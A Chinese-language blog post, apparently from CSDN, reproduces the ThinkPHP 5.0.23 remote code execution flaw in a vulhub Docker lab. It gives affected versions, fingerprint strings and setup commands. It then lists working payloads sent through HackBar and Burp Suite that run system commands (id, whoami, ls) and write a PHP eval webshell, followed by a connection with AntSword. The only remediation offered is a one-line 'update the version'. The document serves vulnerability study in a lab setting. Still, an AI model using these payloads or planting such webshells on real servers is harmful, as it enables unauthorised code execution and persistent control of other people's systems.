[ vulhub漏洞复现篇 ] ThinkPHP 5.0.23-Rce
🍬 博主介绍
👨🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
文章目录
- 🍬 博主介绍
- 一、漏洞名称
- 二、影响范围
- 三、指纹信息
- 四、漏洞描述
- 五、环境搭建
- 1、进入thinkphp 5.0.23-rce环境
- 2、启动thinkphp 5.0.23-rce环境
- 3、查看thinkphp 5.0.23-rce环境
- 4、访问thinkphp 5.0.23-rce环境
- 5、查看thinkphp 5.0.23-rce提示信息
- 6、关闭thinkphp 5.0.23-rce环境
- 六、漏洞复现 - harkbar
- 1、构造POC执行Phpinfo
- 2、构造POC执行使用echo输出
- 3、构造POC执行ls
- 4、构造POC创建test.php文件并写入webshell
- 七、漏洞复现 - burp suite
- 1、构造POC执行id
- 2、构造POC执行whoami
- 3、构造POC执行ls
- 4、构造POC创建test.php文件并写入phpinfo()
- 5、构造POC创建test.php文件并写入webshell
- 八、漏洞修复
- 九、相关资源
一、漏洞名称
ThinkPHP 5.0.23-Rce
二、影响范围
ThinkPHP 版本 5.x < 5.1.31, <= 5.0.23
三、指纹信息
"match": "header_contains"
"content": "thinkphp"
"match": "header_contains"
"content": "think_template"
"match": "body_contains"
"content": "href=\"http://www.thinkphp.cn\">thinkphp</a><sup>"
四、漏洞描述
ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
五、环境搭建
1、进入thinkphp 5.0.23-rce环境
cd vulhub/thinkphp/5.0.23-rce
2、启动thinkphp 5.0.23-rce环境
docker-compose up -d
3、查看thinkphp 5.0.23-rce环境
docker-compose ps
4、访问thinkphp 5.0.23-rce环境
http://192.168.13.131:8080/
5、查看thinkphp 5.0.23-rce提示信息
cat README.md
6、关闭thinkphp 5.0.23-rce环境
docker-compose down
六、漏洞复现 - harkbar
这里我采用了两种方式进行复现,一种利用harkbar插件,一种利用burpsuite工具
建议把两种方式都尝试一下,先来看一下harkbar插件,至于证明用可以去看我前面的文章
http://192.168.13.131:8080/index.php?s=captcha
1、构造POC执行Phpinfo
根据POC我们使用hackbar进行测试,可以执行,后面尝试获取phpinfo。
http://192.168.13.131:8080/index.php?s=captcha
_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1
2、构造POC执行使用echo输出
http://192.168.13.131:8080/index.php?s=captcha
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo _PowerShell
3、构造POC执行ls
http://192.168.13.131:8080/index.php?s=captcha
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
4、构造POC创建test.php文件并写入webshell
http://192.168.13.131:8080/index.php?s=captcha
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo '<?php @eval($_POST['_PowerShell'])?>' >_PowerShell.php
http://192.168.13.131:8080/_PowerShell.php
_PowerShell
文件管理
打开虚拟终端
七、漏洞复现 - burp suite
1、构造POC执行id
POST /index.php?s=captcha HTTP/1.1
Host: node3.buuoj.cn:27512
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
直接在burp的repeater模块里面构造就行了
2、构造POC执行whoami
这里直接修改id即可,id处可以执行任意代码。
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
3、构造POC执行ls
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
4、构造POC创建test.php文件并写入phpinfo()
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php phpinfo();?>" >test.php
http://192.168.13.131:8080/test.php
5、构造POC创建test.php文件并写入webshell
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo '<?php @eval($_POST['_PowerShelll'])?>' >_PowerShelll.php
蚁剑连接
八、漏洞修复
及时更新版本
九、相关资源
1.docker 搭建 vulhub 靶场环境
https://blog.csdn.net/qq_51577576/article/details/125048165
2、[ vulhub漏洞复现篇 ] vulhub 漏洞集合 - 表格版本(含漏洞复现文章连接)
https://blog.csdn.net/qq_51577576/article/details/127002116
3、[ vulhub漏洞复现篇 ] vulhub 漏洞集合(含漏洞复现文章连接)
https://blog.csdn.net/qq_51577576/article/details/126982054
4、[ 常用工具篇 ] AntSword 蚁剑安装及使用详解
https://blog.csdn.net/qq_51577576/article/details/126912450